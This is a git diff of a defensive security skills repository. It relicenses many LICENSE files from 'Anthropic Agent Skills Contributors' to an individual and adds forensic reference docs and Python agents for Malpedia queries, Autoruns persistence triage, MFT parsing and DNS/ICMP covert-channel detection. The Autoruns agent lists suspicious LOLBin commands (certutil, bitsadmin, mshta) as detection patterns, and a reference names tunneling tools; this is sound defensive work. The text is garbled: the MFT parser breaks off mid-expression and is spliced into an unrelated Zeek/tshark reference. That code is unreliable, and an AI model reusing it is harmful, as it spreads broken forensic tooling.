27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE +++ b/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE b/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE +++ b/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-command-and-control-communication/LICENSE b/skills/analyzing-command-and-control-communication/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-command-and-control-communication/LICENSE +++ b/skills/analyzing-command-and-control-communication/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-cyber-kill-chain/LICENSE b/skills/analyzing-cyber-kill-chain/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-cyber-kill-chain/LICENSE +++ b/skills/analyzing-cyber-kill-chain/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-disk-image-with-autopsy/LICENSE b/skills/analyzing-disk-image-with-autopsy/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-disk-image-with-autopsy/LICENSE +++ b/skills/analyzing-disk-image-with-autopsy/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-dns-logs-for-exfiltration/LICENSE b/skills/analyzing-dns-logs-for-exfiltration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-dns-logs-for-exfiltration/LICENSE +++ b/skills/analyzing-dns-logs-for-exfiltration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-docker-container-forensics/LICENSE b/skills/analyzing-docker-container-forensics/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-docker-container-forensics/LICENSE +++ b/skills/analyzing-docker-container-forensics/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-email-headers-for-phishing-investigation/LICENSE b/skills/analyzing-email-headers-for-phishing-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-email-headers-for-phishing-investigation/LICENSE +++ b/skills/analyzing-email-headers-for-phishing-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-golang-malware-with-ghidra/LICENSE b/skills/analyzing-golang-malware-with-ghidra/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-golang-malware-with-ghidra/LICENSE +++ b/skills/analyzing-golang-malware-with-ghidra/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-indicators-of-compromise/LICENSE b/skills/analyzing-indicators-of-compromise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-indicators-of-compromise/LICENSE +++ b/skills/analyzing-indicators-of-compromise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-ios-app-security-with-objection/LICENSE b/skills/analyzing-ios-app-security-with-objection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-ios-app-security-with-objection/LICENSE +++ b/skills/analyzing-ios-app-security-with-objection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-kubernetes-audit-logs/LICENSE b/skills/analyzing-kubernetes-audit-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-kubernetes-audit-logs/LICENSE +++ b/skills/analyzing-kubernetes-audit-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-linux-elf-malware/LICENSE b/skills/analyzing-linux-elf-malware/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-linux-elf-malware/LICENSE +++ b/skills/analyzing-linux-elf-malware/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-linux-system-artifacts/LICENSE b/skills/analyzing-linux-system-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-linux-system-artifacts/LICENSE +++ b/skills/analyzing-linux-system-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE b/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE +++ b/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-macro-malware-in-office-documents/LICENSE b/skills/analyzing-macro-malware-in-office-documents/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-macro-malware-in-office-documents/LICENSE +++ b/skills/analyzing-macro-malware-in-office-documents/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-malicious-url-with-urlscan/LICENSE b/skills/analyzing-malicious-url-with-urlscan/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-malicious-url-with-urlscan/LICENSE +++ b/skills/analyzing-malicious-url-with-urlscan/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE +++ b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE b/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE +++ b/skills/analyzing-malware-family-relationships-with-malpedia/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md b/skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md new file mode 100644 index 00000000..5cad4672 --- /dev/null +++ b/skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Malpedia Malware Family Analysis + +## Base URL +``` +https://malpedia.caad.fkie.fraunhofer.de/api +``` + +## Authentication +``` +Authorization: apitoken YOUR_API_KEY +``` + +## List Families +``` +GET /list/families +``` +Returns dict of `{family_name: {alt_names, description, attribution, urls}}`. + +## Get Family Details +``` +GET /get/family/{family_name} +``` +| Field | Description | +|-------|-------------| +| `common_name` | Primary family name | +| `alt_names` | List of alternative names | +| `description` | Family description | +| `attribution` | List of attributed threat actors | +| `urls` | Reference URLs | + +## Get YARA Rules +``` +GET /get/yara/{family_name} +``` +Returns dict of YARA rules keyed by rule source. + +## List Actors +``` +GET /list/actors +``` +Returns dict of `{actor_name: {alt_names, description, families}}`. + +## Get Actor Details +``` +GET /get/actor/{actor_name} +``` +| Field | Description | +|-------|-------------| +| `common_name` | Actor name | +| `description` | Actor profile | +| `families` | Associated malware families | +| `alt_names` | Alternative names (APT designations) | + +## Get Sample +``` +GET /get/sample/{sha256} +GET /get/sample/{sha256}/zip +``` + +## Relationship Types +| Relation | Description | +|----------|-------------| +| `also_known_as` | Family alias | +| `shared_actor` | Families used by same threat actor | +| `variant_of` | Derived malware variant | + +## MITRE ATT&CK +- T1587.001 - Develop Capabilities: Malware diff --git a/skills/analyzing-malware-family-relationships-with-malpedia/scripts/agent.py b/skills/analyzing-malware-family-relationships-with-malpedia/scripts/agent.py new file mode 100644 index 00000000..e9b0f952 --- /dev/null +++ b/skills/analyzing-malware-family-relationships-with-malpedia/scripts/agent.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +"""Malpedia Malware Family Relationship Agent - Queries Malpedia API for malware family intelligence.""" + +import json +import logging +import argparse +from datetime import datetime +from collections import defaultdict + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +MALPEDIA_API = "https://malpedia.caad.fkie.fraunhofer.de/api" + + +def malpedia_get(endpoint, api_key): + """Make authenticated GET request to Malpedia API.""" + headers = {"Authorization": f"apitoken {api_key}"} + resp = requests.get(f"{MALPEDIA_API}{endpoint}", headers=headers, timeout=30) + resp.raise_for_status() + return resp.json() + + +def list_families(api_key): + """List all malware families from Malpedia.""" + data = malpedia_get("/list/families", api_key) + logger.info("Retrieved %d malware families", len(data)) + return data + + +def get_family_info(family_name, api_key): + """Get detailed info for a malware family.""" + return malpedia_get(f"/get/family/{family_name}", api_key) + + +def get_family_yara(family_name, api_key): + """Get YARA rules for a malware family.""" + return malpedia_get(f"/get/yara/{family_name}", api_key) + + +def list_actors(api_key): + """List all threat actors from Malpedia.""" + data = malpedia_get("/list/actors", api_key) + logger.info("Retrieved %d threat actors", len(data)) + return data + + +def get_actor_info(actor_name, api_key): + """Get detailed info for a threat actor.""" + return malpedia_get(f"/get/actor/{actor_name}", api_key) + + +def build_family_graph(families_data): + """Build relationship graph between malware families.""" + relationships = [] + family_actors = defaultdict(list) + + for family_name, info in families_data.items(): + if not isinstance(info, dict): + continue + alt_names = info.get("alt_names", []) + actors = info.get("attribution", []) + urls = info.get("urls", []) + + for actor in actors: + family_actors[actor].append(family_name) + + for alt in alt_names: + relationships.append({ + "source": family_name, + "target": alt, + "relation": "also_known_as", + }) + + for actor, actor_families in family_actors.items(): + if len(actor_families) > 1: + for i in range(len(actor_families)): + for j in range(i + 1, len(actor_families)): + relationships.append({ + "source": actor_families[i], + "target": actor_families[j], + "relation": "shared_actor", + "actor": actor, + }) + return relationships, dict(family_actors) + + +def analyze_family(family_name, api_key): + """Analyze a specific malware family and its relationships.""" + info = get_family_info(family_name, api_key) + result = { + "family": family_name, + "description": info.get("description", ""), + "alt_names": info.get("alt_names", []), + "attribution": info.get("attribution", []), + "urls": info.get("urls", [])[:10], + "common_name": info.get("common_name", ""), + } + try: + yara_data = get_family_yara(family_name, api_key) + result["yara_rule_count"] = len(yara_data) if isinstance(yara_data, dict) else 0 + except requests.RequestException: + result["yara_rule_count"] = 0 + return result + + +def generate_report(families_analyzed, relationships, actor_map): + """Generate malware family relationship report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "families_analyzed": len(families_analyzed), + "relationships_found": len(relationships), + "actors_mapped": len(actor_map), + "family_details": families_analyzed, + "relationships": relationships[:200], + "actor_family_map": {a: f for a, f in list(actor_map.items())[:50]}, + } + print(f"MALPEDIA REPORT: {len(families_analyzed)} families, {len(relationships)} relationships, {len(actor_map)} actors") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Malpedia Malware Family Analysis Agent") + parser.add_argument("--api-key", required=True, help="Malpedia API key") + parser.add_argument("--family", help="Specific family to analyze") + parser.add_argument("--list-families", action="store_true") + parser.add_argument("--build-graph", action="store_true", help="Build full relationship graph") + parser.add_argument("--output", default="malpedia_report.json") + args = parser.parse_args() + + families_analyzed = [] + relationships = [] + actor_map = {} + + if args.family: + result = analyze_family(args.family, args.api_key) + families_analyzed.append(result) + elif args.build_graph: + all_families = list_families(args.api_key) + relationships, actor_map = build_family_graph(all_families) + elif args.list_families: + all_families = list_families(args.api_key) + families_analyzed = [{"family": k, "alt_names": v.get("alt_names", []) if isinstance(v, dict) else []} for k, v in list(all_families.items())[:100]] + + report = generate_report(families_analyzed, relationships, actor_map) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-malware-persistence-with-autoruns/LICENSE b/skills/analyzing-malware-persistence-with-autoruns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-malware-persistence-with-autoruns/LICENSE +++ b/skills/analyzing-malware-persistence-with-autoruns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md b/skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md new file mode 100644 index 00000000..0ff9e206 --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Autoruns Persistence Analysis + +## Autoruns CLI (autorunsc.exe) +```cmd +autorunsc.exe -a * -c -h -s -v -vt -o autoruns.csv +``` +| Flag | Description | +|------|-------------| +| `-a *` | All autostart categories | +| `-c` | CSV output | +| `-h` | Show file hashes | +| `-s` | Verify digital signatures | +| `-v` | Verify signatures against catalog | +| `-vt` | Check VirusTotal | +| `-o` | Output file | + +## CSV Columns +| Column | Description | +|--------|-------------| +| Time | Entry timestamp | +| Entry Location | Registry key or path | +| Entry | Entry name | +| Enabled | enabled/disabled | +| Category | Autoruns category | +| Description | File description | +| Company | Publisher name | +| Image Path | Full binary path | +| Launch String | Complete command line | +| MD5 / SHA-1 / SHA-256 | File hashes | +| Signer | Code signing status | +| VT detection | VirusTotal ratio (e.g., "5/72") | + +## Autostart Categories +| Category | Examples | +|----------|---------| +| Logon | Run/RunOnce keys, Startup folder | +| Services | Windows services | +| Drivers | Kernel drivers | +| Scheduled Tasks | Task Scheduler entries | +| Winlogon | Shell, Userinit, Notify | +| WMI | Event subscriptions | +| AppInit | AppInit_DLLs | +| Boot Execute | BootExecute values | +| Image Hijacks | IFEO debugger entries | +| LSA Providers | Authentication packages | + +## Suspicious Indicators +| Indicator | Significance | +|-----------|-------------| +| VT detection > 0 | Known malware | +| Unsigned binary | Potential unsigned malware | +| LOLBin in launch string | Living-off-the-land | +| Path in %TEMP% or %PUBLIC% | Staging location | +| Missing company info | Suspicious unsigned entry | + +## MITRE ATT&CK Persistence +- T1547.001 - Registry Run Keys / Startup Folder +- T1053.005 - Scheduled Task +- T1543.003 - Windows Service +- T1546.003 - WMI Event Subscription diff --git a/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py b/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py new file mode 100644 index 00000000..0727cba9 --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Autoruns Persistence Analysis Agent - Analyzes Windows autostart entries for malware persistence.""" + +import json +import csv +import os +import re +import logging +import argparse +from datetime import datetime +from collections import Counter + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SUSPICIOUS_PATHS = [ + r"\\temp\\", r"\\tmp\\", r"\\appdata\\local\\temp", + r"\\public\\", r"\\programdata\\", r"\\users\\default", + r"\\recycler\\", r"\\windows\\debug", +] + +SUSPICIOUS_COMMANDS = [ + "powershell", "cmd.exe /c", "wscript", "cscript", "mshta", + "regsvr32", "rundll32", "certutil", "bitsadmin", + "schtasks", "msiexec /q", "forfiles", +] + +KNOWN_PERSISTENCE_LOCATIONS = [ + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", + "HKLM\\SYSTEM\\CurrentControlSet\\Services", + "Task Scheduler", + "Startup Folder", + "WMI", +] + + +def parse_autoruns_csv(csv_file): + """Parse Autoruns CSV export file.""" + entries = [] + with open(csv_file, "r", encoding="utf-8-sig", errors="ignore") as f: + reader = csv.DictReader(f, delimiter=",") + for row in reader: + entries.append({ + "time": row.get("Time", ""), + "entry_location": row.get("Entry Location", ""), + "entry": row.get("Entry", ""), + "enabled": row.get("Enabled", ""), + "category": row.get("Category", ""), + "profile": row.get("Profile", ""), + "description": row.get("Description", ""), + "company": row.get("Company", ""), + "image_path": row.get("Image Path", ""), + "version": row.get("Version", ""), + "launch_string": row.get("Launch String", ""), + "md5": row.get("MD5", ""), + "sha1": row.get("SHA-1", ""), + "sha256": row.get("SHA-256", ""), + "signer": row.get("Signer", ""), + "vt_detection": row.get("VT detection", ""), + }) + logger.info("Parsed %d autoruns entries from %s", len(entries), csv_file) + return entries + + +def analyze_entry(entry): + """Analyze a single autoruns entry for suspicious indicators.""" + findings = [] + image_path = (entry.get("image_path") or "").lower() + launch_string = (entry.get("launch_string") or "").lower() + signer = entry.get("signer") or "" + vt = entry.get("vt_detection") or "" + company = entry.get("company") or "" + + for pattern in SUSPICIOUS_PATHS: + if re.search(pattern, image_path, re.IGNORECASE): + findings.append({"type": "Suspicious file path", "severity": "high", "detail": image_path}) + break + + for cmd in SUSPICIOUS_COMMANDS: + if cmd.lower() in launch_string: + findings.append({"type": "LOLBin in launch string", "severity": "high", "detail": cmd}) + break + + if signer in ("(Not verified)", "") or "(Not verified)" in signer: + findings.append({"type": "Unsigned binary", "severity": "medium", "detail": signer}) + + if vt and "/" in vt: + try: + detections, total = vt.split("/") + if int(detections.strip()) > 0: + findings.append({"type": "VirusTotal detections", "severity": "critical", "detail": vt}) + except (ValueError, AttributeError): + pass + + if not company and entry.get("enabled") == "enabled": + findings.append({"type": "No company info", "severity": "low", "detail": "Enabled entry without publisher"}) + + return findings + + +def analyze_all_entries(entries): + """Analyze all autoruns entries and generate findings.""" + all_findings = [] + for entry in entries: + entry_findings = analyze_entry(entry) + if entry_findings: + all_findings.append({ + "entry": entry.get("entry"), + "location": entry.get("entry_location"), + "category": entry.get("category"), + "image_path": entry.get("image_path"), + "findings": entry_findings, + "max_severity": max((f["severity"] for f in entry_findings), key=lambda s: {"critical": 4, "high": 3, "medium": 2, "low": 1}.get(s, 0)), + }) + return all_findings + + +def generate_report(entries, findings): + """Generate persistence analysis report.""" + categories = Counter(e.get("category", "Unknown") for e in entries) + critical = [f for f in findings if f["max_severity"] == "critical"] + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_entries": len(entries), + "enabled_entries": len([e for e in entries if e.get("enabled") == "enabled"]), + "suspicious_entries": len(findings), + "critical_entries": len(critical), + "category_breakdown": dict(categories.most_common()), + "findings": findings, + } + print(f"AUTORUNS REPORT: {len(entries)} entries, {len(findings)} suspicious, {len(critical)} critical") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Autoruns Persistence Analysis Agent") + parser.add_argument("--csv-file", required=True, help="Autoruns CSV export file") + parser.add_argument("--output", default="autoruns_report.json") + args = parser.parse_args() + + entries = parse_autoruns_csv(args.csv_file) + findings = analyze_all_entries(entries) + report = generate_report(entries, findings) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-memory-dumps-with-volatility/LICENSE b/skills/analyzing-memory-dumps-with-volatility/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-memory-dumps-with-volatility/LICENSE +++ b/skills/analyzing-memory-dumps-with-volatility/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE b/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE +++ b/skills/analyzing-memory-forensics-with-lime-and-volatility/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-mft-for-deleted-file-recovery/LICENSE b/skills/analyzing-mft-for-deleted-file-recovery/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-mft-for-deleted-file-recovery/LICENSE +++ b/skills/analyzing-mft-for-deleted-file-recovery/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md b/skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md new file mode 100644 index 00000000..27f5331d --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: NTFS MFT Analysis + +## MFT Entry Structure (1024 bytes) +| Offset | Size | Field | +|--------|------|-------| +| 0 | 4 | Signature ("FILE") | +| 18 | 2 | Sequence number | +| 20 | 2 | First attribute offset | +| 22 | 2 | Flags (0x01=in use, 0x02=directory) | + +## MFT Attribute Types +| Type ID | Name | Description | +|---------|------|-------------| +| 0x10 | $STANDARD_INFORMATION | Timestamps, flags, owner | +| 0x20 | $ATTRIBUTE_LIST | List of attributes in other entries | +| 0x30 | $FILE_NAME | Filename and parent reference | +| 0x40 | $OBJECT_ID | Unique object identifier | +| 0x50 | $SECURITY_DESCRIPTOR | ACL and ownership | +| 0x60 | $VOLUME_NAME | Volume label | +| 0x80 | $DATA | File content (resident or non-resident) | +| 0x90 | $INDEX_ROOT | Directory index root | +| 0xA0 | $INDEX_ALLOCATION | Directory index entries | +| 0xB0 | $BITMAP | Bitmap for index allocation | + +## $STANDARD_INFORMATION Timestamps +| Offset | Size | Field | +|--------|------|-------| +| 0 | 8 | Creation time (FILETIME) | +| 8 | 8 | Modification time | +| 16 | 8 | MFT modification time | +| 24 | 8 | Access time | + +## $FILE_NAME Structure +| Offset | Size | Field | +|--------|------|-------| +| 0 | 8 | Parent directory reference | +| 64 | 1 | Filename length (chars) | +| 65 | 1 | Namespace (0=POSIX, 1=Win32, 2=DOS) | +| 66 | var | Filename (UTF-16LE) | + +## FILETIME Conversion +```python +FILETIME_EPOCH = datetime(1601, 1, 1) +dt = FILETIME_EPOCH + timedelta(microseconds=filetime // 10) +``` + +## Tools +```bash +# Extract MFT with FTK Imager or raw copy +icat /dev/sda1 0 > $MFT +# analyzeMFT +analyzeMFT.py -f $MFT -o mft.csv +# MFTECmd (Eric Zimmerman) +MFTECmd.exe -f $MFT --csv output/ +``` diff --git a/skills/analyzing-mft-for-deleted-file-recovery/scripts/agent.py b/skills/analyzing-mft-for-deleted-file-recovery/scripts/agent.py new file mode 100644 index 00000000..d4f912bd --- /dev/null +++ b/skills/analyzing-mft-for-deleted-file-recovery/scripts/agent.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""MFT Deleted File Recovery Agent - Parses NTFS Master File Table for deleted file artifacts.""" + +import json +import struct +import os +import logging +import argparse +from datetime import datetime, timedelta + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +MFT_ENTRY_SIZE = 1024 +FILETIME_EPOCH = datetime(1601, 1, 1) + + +def filetime_to_dt(ft): + """Convert FILETIME to datetime.""" + if ft == 0: + return None + try: + return FILETIME_EPOCH + timedelta(microseconds=ft // 10) + except (OverflowError, OSError): + return None + + +def parse_mft_entry(data, offset=0): + """Parse a single MFT entry.""" + if len(data) < offset + 48: + return None + signature = data[offset:offset + 4] + if signature != b"FILE": + return None + + flags = struct.unpack_from(" len(data): + break + + if attr_type == 0x10: # $STANDARD_INFORMATION + if attr_offset + 24 + 32 <= len(data): + si_offset = attr_offset + struct.unpack_from(" 60) + print fmt("Long DNS query: %s from %s", query, c$id$orig_h); +} +``` + +### Configuration +```bash +zeek -r capture.pcap local +# Outputs: dns.log, conn.log, weird.log +``` + +## tshark - Protocol Filtering + +### DNS Analysis +```bash +tshark -r capture.pcap -Y "dns" -T fields \ + -e ip.src -e dns.qry.name -e dns.qry.type -e frame.len + +# Filter long DNS queries +tshark -r capture.pcap -Y "dns.qry.name matches \"^.{60,}\"" -T fields -e dns.qry.name +``` + +### ICMP Payload Analysis +```bash +tshark -r capture.pcap -Y "icmp && data.len > 64" -T fields \ + -e ip.src -e ip.dst -e icmp.type -e data.len -e data.data +``` + +## DNS Tunneling Tools + +| Tool | Technique | Detection Method | +|------|-----------|-----------------| +| iodine | TXT/NULL/CNAME records | High entropy subdomains | +| dns2tcp | TXT records | Encoded query names | +| dnscat2 | TXT/CNAME/MX/A records | Base32/Base64 subdomain patterns | +| DNSExfiltrator | TXT records | High query volume to single domain | + +## Entropy Thresholds + +| Range | Interpretation | +|-------|---------------| +| < 2.0 | Normal domain labels (English words) | +| 2.0-3.5 | Possibly encoded but may be legitimate | +| 3.5-5.0 | Likely Base32/Base64 encoded (tunneling) | +| > 5.0 | Encrypted/random data (strong tunneling indicator) | + +## Covert Channel Categories + +| Channel Type | Protocol | Detection Method | +|-------------|----------|-----------------| +| DNS Tunneling | DNS (53/udp) | Subdomain entropy, query volume | +| ICMP Tunnel | ICMP (type 8/0) | Payload size, entropy, volume | +| HTTP Header | HTTP (80/tcp) | Cookie size, custom header entropy | +| Protocol Abuse | IP options, GRE | Unusual protocol numbers | +| Timing Channel | TCP | Inter-packet timing analysis | diff --git a/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py b/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py new file mode 100644 index 00000000..e37f17fa --- /dev/null +++ b/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Network covert channel detection agent for malware traffic analysis. + +Detects DNS tunneling, ICMP covert channels, HTTP header steganography, +and protocol abuse in PCAP captures using scapy. +""" + +import os +import sys +import json +import math +import hashlib +from collections import Counter, defaultdict + +try: + from scapy.all import rdpcap, DNS, DNSQR, DNSRR, ICMP, IP, TCP, UDP, Raw + HAS_SCAPY = True +except ImportError: + HAS_SCAPY = False + + +def shannon_entropy(data): + """Calculate Shannon entropy of byte data.""" + if not data: + return 0.0 + freq = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in freq.values()) + + +def detect_dns_tunneling(packets, entropy_threshold=3.5, length_threshold=50): + """Detect DNS tunneling by analyzing query name entropy and length.""" + findings = [] + dns_queries = defaultdict(list) + for pkt in packets: + if 